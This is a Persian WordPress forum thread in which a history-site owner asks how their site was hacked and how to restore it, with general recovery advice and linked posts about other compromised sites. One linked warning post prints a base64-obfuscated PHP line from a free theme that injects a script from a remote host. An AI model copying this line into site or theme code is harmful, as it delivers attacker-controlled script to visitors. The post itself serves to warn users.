اتحاد ملی

توسط عربها هک شدیم اساتید لطفا کمک

4 پست در این موضوع قرار دارد

سلام

دوستان خسته نباشید

گروهی که به ظاهر عربی می باشند سایت ما را هک کردند

اصلا از چگونگی و چرایی این اقدام اطلاعی نداریم ما یک سایت تاریخی بودیم که به نقل تاریخ و ادبیات و حتی نه تفسیر تاریخ می پرداختیم.

متاسفانه در به روز رسانی وردپرس به نسخه 3.5 وردپرس تعلل کردیم ولی بعید می دانیم از طریق وردپرس ما را هک کرده باشند

چرا که نمی توانیم وارد سی پنل هاست شویم و حتی نمی توانیم رمز عبور آن را تغییر دهیم

با پشتیبانی هاست تماس گرفتیم ولی هنوز پاسخی دریافت نکردیم

از شما استاید خواهش می کنیم ما را درباره دو موشوع کمک بفرمایید

نخست چگونگی انجام این هک

و دوم چه کاری برای بازگرداندن سایت انجام دهیم

پیشا پیش از توضیحات و راهنمایی های شما عزیزان تشکر می کنیم

تشکر

پ.ن

فعلا مشکل برطرف شده بیش از این شما عزیزان را به زحمت نمی اندازیم

ویرایش شده در توسط اتحاد ملی

به اشتراک گذاری این پست


لینک به پست

سلام دوست عزیز.

من که از اساتید نیستم.

آدرس خودتون رو بزارید، یه گروهی هست که کارشون فقط رو CMS های رایگان هست و یکی از دوستای من رو هم مورد عنایت قرار داده بودن.

هوم پیج هک شده هم یک موزیک عربی پخش میکنه

بیشترین ضعف بک سایت میتونه از سرور ارائه دهنده خدمات هاستینگ سایت باشه.

استفاده از کد ها و افزونه هایی که در سایت شما راه نفوذ برای خودشون باز کرده باشن.

در مرحله بعد هم حتی به ضعیف بودن و ساده بودن یوزر و پس ادمین هم میرسه.

به اشتراک گذاری این پست


لینک به پست

بهترین راه برگردانی پشتیبان سایت هست.

و همونطور که قبلا هم بحث شده اولین مورد از سرور هست که باید امن باشه.

و در نهایت خوشحالیم که مشکل شما هم حلش ده.

به اشتراک گذاری این پست


لینک به پست

معمولاً این جور هکر ها یه لینکی میذارن که می تونید برید ببینید

در اون لینک ها معمولاً می بینید که یه آی پی مثل 255.255.255.255 که آی پی سرورتون هست رو هک کردند - یعنی اینکه اونا اصولاً با شما و سایت شما کاری ندارند، بلکه سرور رو مورد عنایت قرار دادند و در نتیجه سایت های موجود در اون رو هک می کنند و این جور حمله ها بخاطر ضعف امنیتی سرور هاست و نه سایت ها

به اشتراک گذاری این پست


لینک به پست
مهمان
این موضوع برای عدم ارسال قفل گردیده است.

  • مطالب مشابه

    • توسط محمدرضا فتحی
      چند روزی هست که وقتی گزارش گوگل آنالیتیک رو نگاه میکنم و میخوام چک کنم ببینم کدوم یکی از پیج های وبسایتم بیشتر بازدید شده با یک url مربوط به وبسایت reddit.com مواجه میشم. امکانش هست این وبسایت، سایت من رو هک کرده باشه و وقتی کاربرای اینترنت توی سایت من هستن ریدایرکتشون کنه توی سایت خودش؟
      اگر حدسم درسته لطفا راهنمایی کنید چطور باید جلوش رو بگیرم و اگر اشتباهه پس چرا گوگل آنالیتیک این url رو جزء پیج های نمایش داده شده وبسایت من بهم نشون میده؟
      این آدرس کاملی هست که گوگل آنالیتیک بهم نشون میده:
      www.reddit.com/r/technology/comments/5foynf/lifehac%C4%B8ercom_original_idn_fake_safe_best_on_ff/
    • توسط mojtabashahi
      امروز قصد دارم دو ضرب المثل را که از "گربه" استفاده کرده اند برای شما یادآوری نمایم. و یک هشدار به کاربران "تازه وارد" وردپرس بدهم.
      1 . گربه را دم حجله باید کشت. سایت : www.dorcel.ir ، باید همین اول جلوی فعالیت چنین سایت هایی گرفته شود.
      2 . هیچ گربه ای محض رضای خدا موش نمی گیرد. داخل فایل های یکی از پوسته هایی که رایگان برای دانلود قرار داده شده کد (انکد base64) زیر وجود دارد : 
      <?php $str = 'PHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2JveC5kb3JjZWwuaXIvZG9yY2VsLnBocCc+PC9zY3JpcHQ+'; echo base64_decode($str); که بعد از دیکد می شود : 
      <script type='text/javascript' src='http://box.dorcel.ir/dorcel.php'>  
      پ.ن : ....
    • توسط m2ostafa
      سلام من  سایتم ۲ بار  هک شده بود بخاطر همین یسری فایل های مخرب توش دیده بودم و سعی کردم پاک کنم.یبار کامل سایت رفت پایین و مجبور به ریکاوری شدیم.الان سایت بالاست اما خیلی هنوز فایل های مخرب توش تکثیر میشه اونقدر که دیگه الان هاست ۱ گیگم پر شده در صورتی که ۳۰۰ مگ دیتا بیشتر ندارم.کسی می تونه کمکم کنه بگه چجوری فایل هارو پیدا کنم؟
    • توسط loveali
      با سلام
      یه چند وقتیه که وقتی کسی برای اولین بار (از طریق موتور جست و جو -گوگل) سایت رو باز می کنه پیغام زیر رو که براتون اتچ کردم نمایش می ده
      dr-narmaki.com
      یه چند تا کد مشکوک هم دیدم تو فایل header که پاک کردم
      اول فک می کردم سرویس cloudflade که دیدم تو فروم های خارجی این کار رو می کنن که ادمین سایت رو گول بزنن و می گفتن سایتشون hijacking مرورگر شده
      به نظرتون چیکار می تونم بکنم؟
      باتشکر

    • توسط m2ostafa
      سلام دوستان از دیروز سایتم بالا نمیاد بدون اینکه به چیزی دست بزنم و تغییراتی بدم
      http://axaco.ir
      گوگل وبمستر تولز از چند روز  پیش بم پیام داده بود که فردی تغییراتی داده در هاست شما و بازدید شما غیر واقعی شده
      و
      امروزم متوجه فایل هایی شدم کاملا جدیده و بی ربط شبیه سایت های پ ورن ممنون میشم راهنماییم کنید باید چیکار کنم چون کلا سایتم بالا نمیاد و رتبه گوگلم هم دارم از دست می دم
      اینم ایمیل گوگل
      To: Webmaster of http://axaco.ir/,
      Google has detected that your site has been hacked by a third party who created malicious content on some of your pages. This critical issue utilizes your site’s reputation to show potential visitors unexpected or harmful content on your site or in search results. It also lowers the quality of results for Google Search users. Therefore, we have applied a manual action to your site that will warn users of hacked content when your site appears in search results. To remove this warning, clean up the hacked content, and file a reconsideration request. After we determine that your site no longer has hacked content, we will remove this manual action.
      Following are one or more example URLs where we found pages that have been compromised. Review them to gain a better sense of where this hacked content appears. The list is not exhaustive.
      http://axaco.ir/wp-content/plugins/wp-db-backup-made/eibl4p/-hello-pai.html
      http://axaco.ir/wp-content/plugins/wp-db-backup-made/eibl4p/fix-Kalyan-ma.html
      http://axaco.ir/wp-content/plugins/wp-db-backup-made/eibl4p/jam-buka-prsu.html